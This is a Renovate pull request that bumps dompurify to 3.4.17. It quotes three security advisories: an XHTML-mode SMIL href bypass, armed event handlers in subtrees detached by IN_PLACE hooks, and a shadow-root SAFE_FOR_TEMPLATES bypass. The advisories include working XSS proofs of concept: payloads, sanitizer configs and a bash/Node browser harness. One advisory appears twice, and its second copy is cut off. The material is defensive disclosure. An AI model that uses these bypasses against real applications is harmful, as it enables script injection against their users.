Skip to content

fix(deps): update dependency dompurify to v3.4.17 [security] - #4393

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-dompurify-vulnerability
Open

renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-dompurify-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 22, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
dompurify 3.4.16 → 3.4.17 age confidence

DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

GHSA-c6gr-qvv4-5v3f

More information

Details

Summary

DOMPurify drops attributeName attributes whose value contains href, so an allowed <animate> or <set> can't rewrite a link's href after sanitizing. The check compares the attribute name after transformCaseFunc, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled attributeName, so the comparison with "attributename" never matches and the guard does nothing.

An app that uses PARSER_MEDIA_TYPE: 'application/xhtml+xml' and allows animate and attributeName will keep <animate attributeName="href" values="x;javascript:alert(1)">. Clicking the parent link then runs the script.

This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.

Details

In _sanitizeAttributes (dist/purify.js line 2216 in 3.4.16):

const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
  _removeAttribute(name, currentNode, attr);
  continue;
}

transformCaseFunc is stringToLowerCase for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name attributeName, so in XHTML mode lcName is attributeName and the branch never runs.

People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so ALLOWED_ATTR/ADD_ATTR: ['attributeName', ...] is the config you'd naturally write here.

The value also passes the URI check. IS_ALLOWED_URI only checks the start of the string, and x;javascript:alert(1) looks like a relative value. SMIL reads values as a ; list and, with fill="freeze", the last entry ends up as the effective href of the parent <a>.

In text/html mode the same allowlist is handled correctly. The name is lowercased and attributeName is removed.

This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.

Proof of concept

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};

{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.

Input:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>

Steps:

  1. Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
  1. The logged output still contains attributeName="href" and values="x;javascript:alert(1)".
  2. document.getElementById('q').href.animVal returns "javascript:alert(1)".
  3. Click "click" and alert(1) runs.

As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.

poc.sh
#!/usr/bin/env bash
##### PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.

#
##### Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"

##### config that allow-lists <animate> + attributeName, renders the output into
##### div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse

##### event and reports whether alert() fired. Also runs the same allowlist in
##### text/html mode as a control (DOMPurify strips attributeName there).

#
##### usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)

#####         DOMPURIFY_JS=/path/to/purify.js ./poc.sh
#####         CHROME=/path/to/chrome ./poc.sh

##### needs:  node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
##### exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT

if [ -z "${DOMPURIFY_JS:-}" ]; then
  (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
  DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
  for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
           "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
           "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
    [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
  done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }

cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
  '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
  '<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
  const cfg = {
    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
  };
  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
  const clean = DOMPurify.sanitize(payload, cfg);
  document.getElementById('sink').innerHTML = clean;
  return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"

##### Same test inside a real XHTML document (no HTML<->XHTML context flip):
##### the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
    -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
    -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"

cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
  `--user-data-dir=${dir}/profile`, 'about:blank'], { stdio: ['ignore', 'ignore', 'ignore', 'pipe', 'pipe'] });
let id = 0, buf = ''; const pend = new Map(), dialogs = [];
p.stdio[4].on('data', (d) => {
  buf += d; let i;
  while ((i = buf.indexOf('\0')) >= 0) {
    const m = JSON.parse(buf.slice(0, i)); buf = buf.slice(i + 1);
    if (m.id && pend.has(m.id)) { pend.get(m.id)(m); pend.delete(m.id); }
    else if (m.method === 'Page.javascriptDialogOpening') {
      dialogs.push(m.params.message);
      send('Page.handleJavaScriptDialog', { accept: true }, m.sessionId);
    }
  }
});
function send(method, params = {}, sessionId) {
  return new Promise((r) => { const n = ++id; pend.set(n, r); p.stdio[3].write(JSON.stringify({ id: n, method, params, sessionId }) + '\0'); });
}
const sleep = (ms) => new Promise((r) => setTimeout(r, ms));
(async () => {
  const { result: { targetId } } = await send('Target.createTarget', { url: 'about:blank' });
  const { result: { sessionId: s } } = await send('Target.attachToTarget', { targetId, flatten: true });
  await send('Page.enable', {}, s); await send('Runtime.enable', {}, s);
  const ev = async (e) => (await send('Runtime.evaluate', { expression: e, returnByValue: true, awaitPromise: true }, s)).result.result.value;
  let vulnerable = false, xhtmlDoc = false;
  const ver = async () => ev('DOMPurify.version');
  for (const [mode, page] of [['html', url], ['xhtml', url], ['xhtml', xurl]]) {
    await send('Page.navigate', { url: page }, s); await sleep(500);
    const docType = await ev('document.contentType');
    if (mode === 'html') console.log('DOMPurify', await ver(), '/', await ev('navigator.userAgent.match(/Chrome\\/[\\d.]+/)[0]'));
    dialogs.length = 0;
    const clean = await ev(`run(${JSON.stringify(mode)})`);
    await sleep(400); // let the 0.01s animation apply (fill=freeze)
    const href = await ev(`(()=>{const a=document.getElementById('q');return a?a.href.animVal:null})()`);
    const box = await ev(`(()=>{const t=document.querySelector('#sink text');if(!t)return null;const r=t.getBoundingClientRect();return [r.x+r.width/2,r.y+r.height/2]})()`);
    if (box) for (const type of ['mouseMoved', 'mousePressed', 'mouseReleased'])
      await send('Input.dispatchMouseEvent', { type, x: box[0], y: box[1], button: 'left', clickCount: 1 }, s);
    await sleep(800);
    console.log(`\n[${mode} mode, sink document ${docType}] sanitized output:\n  ${clean}`);
    console.log(`  animated <a> href (animVal): ${JSON.stringify(href)}`);
    console.log(`  alert() fired on click: ${dialogs.length ? 'YES ' + JSON.stringify(dialogs) : 'no'}`);
    if (mode === 'xhtml' && dialogs.length) vulnerable = true;
    if (mode === 'xhtml' && docType === 'application/xhtml+xml') xhtmlDoc = dialogs.length > 0;
  }
  console.log(vulnerable ? `\nRESULT: VULNERABLE (javascript: executed in XHTML mode; pure-XHTML document sink: ${xhtmlDoc ? 'also executes' : 'no'})` : '\nRESULT: not vulnerable');
  p.kill('SIGKILL'); process.exit(vulnerable ? 0 : 1);
})().catch((e) => { console.error(e); p.kill('SIGKILL'); process.exit(2); });
EOF
node "$WORK/drive.js" "$CHROME" "file://$WORK/poc.html" "$WORK"
Impact

Stored or reflected XSS on a click. It affects apps that sanitize SVG in XHTML mode and allow animate (or set) with attributeName, for example to keep simple SVG animations. Script runs in the app's origin when a user clicks the sanitized link. Default configs and text/html mode aren't affected.

Severity

Low

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify IN_PLACE: hook that removes a parent or sibling leaves the detached subtree's event handlers armed (incomplete fix for GHSA-p98j-92pf-mc4p)

GHSA-mrv2-3pqr-j5jr

More information

Details

Summary

The 3.4.16 fix for GHSA-p98j-92pf-mc4p only covers a hook that removes the node it was called for. If an IN_PLACE hook removes a different node, like the current node's parent or a sibling that has not been visited yet, that subtree is never walked or neutralized. Event handlers in it stay on the elements, and an <img onerror> that was already loading fires after sanitize() returns.

The README says: "Nodes that a hook detaches from the tree ... are treated as removed. In IN_PLACE mode their subtree is neutralized inline, so an <img onload> that was already loading when you built the live tree cannot fire after sanitize() returns." That does not hold when the detached node is not the hook's own node.

Tested versions
  • 3.4.16 (latest) and main at 18f8f0e
  • also 3.4.15, 3.4.12 and 2.5.8

jsdom for the matrix below, and Chromium (Playwright) for the event actually firing.

Details

src/purify.ts line 2134 (dist/purify.cjs.js line 2009 in 3.4.16), _handleHookDetachedNode():

if (currentNode === root || getParentNode(currentNode) !== null) {
  return false;
}
if (IN_PLACE) {
  _neutralizeSubtree(currentNode);
}

It only checks whether currentNode lost its parent. When a hook removes currentNode.parentNode (or any ancestor), currentNode still has a parent, so nothing happens. The rest of the removed subtree is no longer reachable by the walker, and it is not in DOMPurify.removed, so the post walk pass does not see it either. The same happens when a hook removes a later sibling. This applies to all five element and attribute hooks.

PoC (jsdom)
const { JSDOM } = require('jsdom')
const createDOMPurify = require('dompurify')
const win = new JSDOM('<!doctype html><body></body>').window
const doc = win.document

for (const mode of ['self', 'parent', 'nextSibling']) {
  const DOMPurify = createDOMPurify(win)
  doc.body.innerHTML = '<div id=root><figure><img class=bad src=a.png>' +
    '<img id=evil src=x onerror=alert(1)></figure><p>ok</p></div>'
  const root = doc.getElementById('root')
  const evil = doc.getElementById('evil')

  // app hook: drop a bad image (self), its wrapper (parent), or the next element (nextSibling)
  DOMPurify.addHook('afterSanitizeAttributes', (node) => {
    if (node.getAttribute && node.getAttribute('class') === 'bad') {
      if (mode === 'self') node.remove()
      if (mode === 'parent') node.parentNode.remove()
      if (mode === 'nextSibling') node.nextElementSibling.remove()
    }
  })

  DOMPurify.sanitize(root, { IN_PLACE: true })
  console.log(DOMPurify.version, mode.padEnd(11), 'onerror =', JSON.stringify(evil.getAttribute('onerror')))
}

Output on 3.4.16:

3.4.16 self        onerror = null
3.4.16 parent      onerror = "alert(1)"
3.4.16 nextSibling onerror = "alert(1)"

In self mode the walker still reaches the second image and strips onerror. In the other two modes the second image is detached with its handler still set. The same result is achieved with each of beforeSanitizeElements, uponSanitizeElement, afterSanitizeElements, beforeSanitizeAttributes and afterSanitizeAttributes.

PoC (browser)

The same thing in a real page, served from 127.0.0.1 and opened in Chromium:

<!doctype html><meta charset=utf-8>
<script src="purify.min.js"></script>
<body><pre id=log></pre>
<script>
window.fired = [];
function run(mode) {
  const D = DOMPurify(window);
  D.addHook('afterSanitizeAttributes', n => {
    if (n.getAttribute && n.getAttribute('class') === 'bad') {
      if (mode === 'parent') n.parentNode.remove();
      if (mode === 'self') n.remove();
    }
  });
  const root = document.createElement('div');
  document.body.appendChild(root);
  root.innerHTML = '<figure><img class=bad src=data:,><img src=x onerror="fired.push(\'' + mode + '\')"></figure><p>ok</p>';
  D.sanitize(root, { IN_PLACE: true });
  return root.outerHTML;
}
const a = run('self'), b = run('parent');
setTimeout(() => {
  document.getElementById('log').textContent =
    'version=' + DOMPurify.version + '\nself out=' + a + '\nparent out=' + b + '\nfired=' + JSON.stringify(fired);
}, 1500);
</script>

Result on 3.4.16:

version=3.4.16
self out=<div><figure><img src="x"></figure><p>ok</p></div>
parent out=<div><p>ok</p></div>
fired=["parent"]

The returned tree is clean in both cases, but the handler on the detached image runs in the page for parent.

Impact

An app that uses IN_PLACE with a hook that removes a wrapper or a nearby element (for example "drop the whole <figure> if its image is not allowed") gets DOM XSS from attacker markup after sanitize() returns. It needs that kind of hook, so it falls under "input plus an application choice" in SECURITY.md, but it breaks the guarantee the README gives for hook detached nodes and is the same pattern as GHSA-55q2-fjhq-7xh7 and GHSA-p98j-92pf-mc4p.

Suggested fix

Instead of only checking currentNode, check after each hook call whether anything outside the current node was detached. Two simple options:

  • before calling a hook in IN_PLACE mode, remember the next node the walker will visit and the current node's ancestors; after the hook, neutralize any of them that are no longer attached under root
  • or, after the walk, neutralize every element that was in the original tree but is no longer connected to root (for example by collecting the elements before the walk)

Severity

  • CVSS Score: 7.6 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes

GHSA-cg2g-xh64-v4q7

More information

Details

Summary

When DOMPurify is configured with SAFE_FOR_TEMPLATES: true together with a DOM-returning mode (RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true), template expressions such as {{...}}, ${...}, and <%...%> survive sanitization inside the text content of an attached shadow root. The post-walk safety net _scrubTemplateExpressions (src/purify.ts:1717) was extended to recurse into <template>.content, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the IN_PLACE and shadow-aware RETURN_DOM surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.

Root Cause

SAFE_FOR_TEMPLATES neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (_stripTemplateExpressions, applied in _sanitizeElements at src/purify.ts:2246), and a final post-walk pass (_scrubTemplateExpressions, src/purify.ts:1717) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.

_scrubTemplateExpressions (src/purify.ts:1717-1751):
  - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).
  - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).
  - Explicit recursion at lines 1743-1750 enters <template>.content only, via
    querySelectorAll('template'); there is no equivalent recursion into attached
    shadow roots.
Shadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which
applies the per-node strip but never performs the post-walk normalize-and-rescrub.

Shadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.

Impact

An attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable SAFE_FOR_TEMPLATES and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with attachShadow: in engines that support declarative shadow DOM, attacker-supplied markup containing <template shadowrootmode="open"> parsed through setHTMLUnsafe or Document.parseHTMLUnsafe produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.

Proof of Concept
Preconditions:
  - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).
  - A browser (or DOM implementation) with shadow DOM support.
  - Application constructs a DOM node with an attached shadow root before sanitizing,
    and later evaluates the shadow root's text content as a template.

Build a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with SAFE_FOR_TEMPLATES:

const host = document.createElement('div');
const root = host.attachShadow({ mode: 'open' });

// Split "${alert(document.domain)}" so no single fragment matches a regex.
// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,
// leaving the surrounding text-node siblings adjacent.
root.appendChild(document.createTextNode('$'));
root.appendChild(document.createElement('object'));
root.appendChild(document.createTextNode('{alert(document.domain)}'));

DOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });

// After the disallowed element is removed, the fragments are adjacent and survive.
host.shadowRoot.normalize();
console.log(host.shadowRoot.textContent);
${alert(document.domain)}

A downstream template evaluator reading shadowRoot.textContent (for example new Function('return ' + content + '')() or any ${...}/{{...}} engine) then evaluates the fully formed expression.

Attack Chain
  1. Exposure: The application calls DOMPurify.sanitize(node, cfg) (src/purify.ts:2854) with SAFE_FOR_TEMPLATES: true and IN_PLACE: true (or a shadow-aware RETURN_DOM), passing a DOM node that already carries an attached shadow root.
  2. Control: The attacker controls the shadow root's text nodes and the disallowed separator elements between them; each fragment ($, {alert(document.domain)}) is a valid, individually benign text node.
  3. Path: _sanitizeAttachedShadowRoots (src/purify.ts:2977) feeds the shadow root into _sanitizeShadowDOM (src/purify.ts:2710), which strips expressions per text node (src/purify.ts:2246) and removes the disallowed separator elements, leaving the fragments adjacent.
  4. Guard: The post-walk safety net _scrubTemplateExpressions (src/purify.ts:3131-3132) is the only pass that would catch the merged expression, but it never recurses into shadow roots (src/purify.ts:1717-1751 recurses into <template>.content only).
  5. Primitive: The adjacent fragments serialize as a single concatenated string on shadowRoot.textContent / shadowRoot.innerHTML, reconstituting the complete expression.
  6. Result: A downstream template engine evaluates the attacker-chosen expression, achieving script execution (or template injection) in the engine's context.
Bypass Evidence

The relevant protection is SAFE_FOR_TEMPLATES, specifically the post-walk pass that defends against expressions that only form after adjacent text nodes merge. That defense was previously extended to <template>.content under CVE-2026-65900 (GHSA-gvmj-g25r-r7wr) by adding querySelectorAll('template') recursion at src/purify.ts:1743-1750. The strongest challenge is whether any code path performs the equivalent merge-and-rescrub inside shadow roots. Enumerating every call site of _scrubTemplateExpressions (src/purify.ts:1717, 1747, 3132, 3141) shows none receive a shadow root, and _sanitizeShadowDOM (src/purify.ts:2710) never calls _scrubTemplateExpressions or normalize(). The per-node strip cannot compensate: MUSTACHE_EXPR (src/regexp.ts:3) requires {{ or }}, TMPLIT_EXPR (src/regexp.ts:5) requires ${, and ERB_EXPR (src/regexp.ts:4) requires <% or %>, none of which appear in a single-character fragment. The CVE-2026-65900 regression tests exercise <template>.content only; no test covers shadow root content under SAFE_FOR_TEMPLATES. The gap is therefore an unfixed case on a distinct remediation boundary (shadow roots) rather than a bypass of the delivered template-content fix.

Affected Versions
  • Ecosystem: npm
  • Package: dompurify
  • Confirmed affected range: >= 3.4.4, <= 3.4.16
  • Latest release checked: 3.4.16 (npm registry)
  • Fix status: not fixed

The lower bound 3.4.4 is the release that introduced both the attached-shadow-root sanitization pass and the _scrubTemplateExpressions safety net; releases 3.4.4 through 3.4.7 carry the safety net with no content-container recursion, and 3.4.8 onward add <template>.content recursion but still omit shadow root recursion. No published release and no current development revision contains a shadow-root fix.

Suggested Fix

Enforce the same post-walk normalize-and-rescrub invariant on attached shadow roots that already applies to <template>.content. After _sanitizeShadowDOM finishes walking a shadow root, run _scrubTemplateExpressions over that shadow root so adjacent text nodes created by element removal are merged and re-stripped; alternatively, have _scrubTemplateExpressions discover and recurse into attached shadow roots as it does for template content. The fix must cover nested shadow roots and shadow roots inside <template>.content, and it must handle all three expression dialects, since any disallowed element can serve as the separator that produces adjacent fragments.


Reported by zx (GitHub: @​manus-pi).

Severity

  • CVSS Score: 9.2 / 10 (Critical)
  • Vector String: CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: SMIL attributeName=href guard is skipped when PARSER_MEDIA_TYPE is application/xhtml+xml

GHSA-c6gr-qvv4-5v3f

More information

Details

Summary

DOMPurify drops attributeName attributes whose value contains href, so an allowed <animate> or <set> can't rewrite a link's href after sanitizing. The check compares the attribute name after transformCaseFunc, and that function doesn't lowercase in XHTML mode. In XHTML the attribute is spelled attributeName, so the comparison with "attributename" never matches and the guard does nothing.

An app that uses PARSER_MEDIA_TYPE: 'application/xhtml+xml' and allows animate and attributeName will keep <animate attributeName="href" values="x;javascript:alert(1)">. Clicking the parent link then runs the script.

This needs a non-default config, so going by SECURITY.md, this is a hardening bug rather than a bypass of the default config.

Details

In _sanitizeAttributes (dist/purify.js line 2216 in 3.4.16):

const lcName = transformCaseFunc(name);
...
if (lcName === "attributename" && stringMatch(value, "href")) {
  _removeAttribute(name, currentNode, attr);
  continue;
}

transformCaseFunc is stringToLowerCase for text/html but the identity function for application/xhtml+xml, because XML names are case-sensitive. The XML parser keeps SVG's real name attributeName, so in XHTML mode lcName is attributeName and the branch never runs.

People using XHTML mode have to list SVG attributes in camelCase. The built-in attribute lists are lowercase and won't match, so ALLOWED_ATTR/ADD_ATTR: ['attributeName', ...] is the config you'd naturally write here.

The value also passes the URI check. IS_ALLOWED_URI only checks the start of the string, and x;javascript:alert(1) looks like a relative value. SMIL reads values as a ; list and, with fill="freeze", the last entry ends up as the effective href of the parent <a>.

In text/html mode the same allowlist is handled correctly. The name is lowercased and attributeName is removed.

This is close to the XHTML case-sensitivity hardening in 3.4.14/3.4.15 (Attack Classes & Bypass History §22): a check written for lowercase names that a case-preserved name gets past.

Proof of concept

Tested with DOMPurify 3.4.16 in Chrome 153 (headless shell). Also reproduced on 3.3.3, 3.3.1 and 3.2.7. Not confirmed for 2.x.

Config:

const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};

{ PARSER_MEDIA_TYPE: 'application/xhtml+xml', USE_PROFILES: { svg: true }, ADD_TAGS: ['animate'], ADD_ATTR: ['attributeName'] } behaves the same.

Input:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>

Steps:

  1. Save this as poc.xhtml next to purify.js (3.4.16) and open it in Chrome. The .xhtml extension makes Chrome load it as application/xhtml+xml, so nothing moves between HTML and XHTML.
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>
<script src="purify.js"></script></head><body><div id="sink"></div>
<script>//<![CDATA[
const cfg = {
  PARSER_MEDIA_TYPE: 'application/xhtml+xml',
  ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
  ALLOWED_ATTR: ['attributeName', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
};
const dirty = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60"><a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/><text x="10" y="40" font-size="30">click</text></a></svg>';
const clean = DOMPurify.sanitize(dirty, cfg);
console.log(clean);
document.getElementById('sink').innerHTML = clean;
//]]></script></body></html>
  1. The logged output still contains attributeName="href" and values="x;javascript:alert(1)".
  2. document.getElementById('q').href.animVal returns "javascript:alert(1)".
  3. Click "click" and alert(1) runs.

As a control, remove PARSER_MEDIA_TYPE and change the allowlist entry to attributename. The output then loses attributeName, href.animVal is "", and clicking does nothing. The same XHTML-mode output also runs when inserted into a normal text/html page.

An automated version (fetches a given version from npm, clicks via CDP, checks for the dialog, runs the control) is below.

poc.sh
#!/usr/bin/env bash
##### PoC: DOMPurify SMIL attributeName=href guard bypass in XHTML parser mode.

#
##### Sanitizes an SVG payload with a PARSER_MEDIA_TYPE:"application/xhtml+xml"

##### config that allow-lists <animate> + attributeName, renders the output into
##### div.innerHTML in headless Chromium, clicks the link with a trusted (CDP) mouse

##### event and reports whether alert() fired. Also runs the same allowlist in
##### text/html mode as a control (DOMPurify strips attributeName there).

#
##### usage:  ./poc.sh [dompurify-version]          (default 3.4.16, fetched via `npm pack`)

#####         DOMPURIFY_JS=/path/to/purify.js ./poc.sh
#####         CHROME=/path/to/chrome ./poc.sh

##### needs:  node >= 18, npm (unless DOMPURIFY_JS is set), a Chromium/Chrome binary.
##### exit:   0 = vulnerable (alert fired in xhtml mode), 1 = not vulnerable, 2 = setup error
set -euo pipefail
VER="${1:-3.4.16}"
WORK="$(mktemp -d)"
trap 'rm -rf "$WORK"' EXIT

if [ -z "${DOMPURIFY_JS:-}" ]; then
  (cd "$WORK" && npm pack "dompurify@$VER" --silent >/dev/null 2>&1 && tar xzf dompurify-*.tgz) || { echo "npm pack dompurify@$VER failed" >&2; exit 2; }
  DOMPURIFY_JS="$WORK/package/dist/purify.js"
fi
if [ -z "${CHROME:-}" ]; then
  for c in "$HOME"/.cache/ms-playwright/chromium_headless_shell-*/chrome-headless-shell-linux64/chrome-headless-shell \
           "$HOME"/.cache/ms-playwright/chromium-*/chrome-linux/chrome \
           "$(command -v google-chrome || true)" "$(command -v chromium || true)" "$(command -v chromium-browser || true)"; do
    [ -n "$c" ] && [ -x "$c" ] && CHROME="$c" && break
  done
fi
[ -n "${CHROME:-}" ] || { echo "no Chrome/Chromium found; set CHROME=" >&2; exit 2; }

cat > "$WORK/poc.html" <<'EOF'
<!doctype html><meta charset="utf-8"><title>poc</title>
<script src="purify.js"></script>
<div id="sink"></div>
<script>//<![CDATA[
const payload = '<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60">' +
  '<a id="q"><animate attributeName="href" values="x;javascript:alert(1)" dur="0.01s" fill="freeze"/>' +
  '<text x="10" y="40" font-size="30">click</text></a></svg>';
function run(mode) {
  const cfg = {
    ALLOWED_TAGS: ['svg', 'a', 'animate', 'text'],
    ALLOWED_ATTR: [mode === 'xhtml' ? 'attributeName' : 'attributename', 'values', 'dur', 'fill', 'x', 'y', 'font-size', 'id', 'width', 'height'],
  };
  if (mode === 'xhtml') cfg.PARSER_MEDIA_TYPE = 'application/xhtml+xml';
  const clean = DOMPurify.sanitize(payload, cfg);
  document.getElementById('sink').innerHTML = clean;
  return clean;
}
//]]></script>
EOF
cp "$DOMPURIFY_JS" "$WORK/purify.js"

##### Same test inside a real XHTML document (no HTML<->XHTML context flip):
##### the page is parsed as application/xhtml+xml and the sink's innerHTML uses the XML fragment parser.
sed -e 's#<!doctype html><meta charset="utf-8"><title>poc</title>#<html xmlns="http://www.w3.org/1999/xhtml"><head><title>poc</title>#' \
    -e 's#<script src="purify.js"></script>#<script src="purify.js"></script></head><body>#' \
    -e 's#^</script>$#</script></body></html>#' "$WORK/poc.html" > "$WORK/poc.xhtml"

cat > "$WORK/drive.js" <<'EOF'
// zero-dependency CDP driver over --remote-debugging-pipe
const { spawn } = require('child_process');
const [chrome, url, dir] = process.argv.slice(2);
const xurl = url.replace(/\.html$/, '.xhtml');
const p = spawn(chrome, ['--headless', '--no-sandbox', '--remote-debugging-pipe', '--disable-gpu', '--no-first-run',
